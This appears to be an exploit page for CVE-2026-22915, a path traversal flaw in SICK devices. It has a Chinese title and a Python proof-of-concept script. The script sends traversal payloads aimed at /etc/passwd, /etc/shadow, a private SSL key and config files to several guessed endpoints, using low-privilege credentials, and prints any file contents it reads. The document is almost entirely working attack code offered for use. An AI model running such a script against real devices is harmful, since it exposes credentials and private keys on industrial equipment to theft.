CVE-2026-22915 SICK产品路径遍历导致敏感文件泄露漏洞

# CVE-2026-22915 Path Traversal PoC # Target: SICK devices with low-privilege access # CVSS: 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) import requests import sys def test_path_traversal(target_url): """Test for path traversal vulnerability CVE-2026-22915""" # Common sensitive files to test sensitive_files = [ '../../../etc/passwd', '../../../etc/shadow', '../../config/system.xml', '../../../var/log/messages', '../../../../etc/hosts', '../../../etc/ssl/private/key.pem' ] headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-22915-PoC)', 'Authorization': 'Basic ' + 'BASE64_ENCODED_LOW_PRIV_CREDENTIALS' } print(f"[*] Testing CVE-2026-22915 on {target_url}") print(f"[*] CVSS Score: 4.3 (Medium)") print(f"[*] Attack Vector: Network-based, Low Privilege Required") print("-" * 60) for payload in sensitive_files: # Try common file read endpoints endpoints = [ f"{target_url}/file/view?path={payload}", f"{target_url}/api/files{ payload}", f"{target_url}/logs?file={payload}", f"{target_url}/download{ payload}" ] for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10, verify=False) if response.status_code == 200: if 'root:' in response.text or '<?xml' in response.text: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Content preview: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[*] No obvious vulnerability detected (may require specific credentials)") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22915.py <target_url>") print("Example: python cve-2026-22915.py https://192.168.1.100") sys.exit(1) target = sys.argv[1] test_path_traversal(target)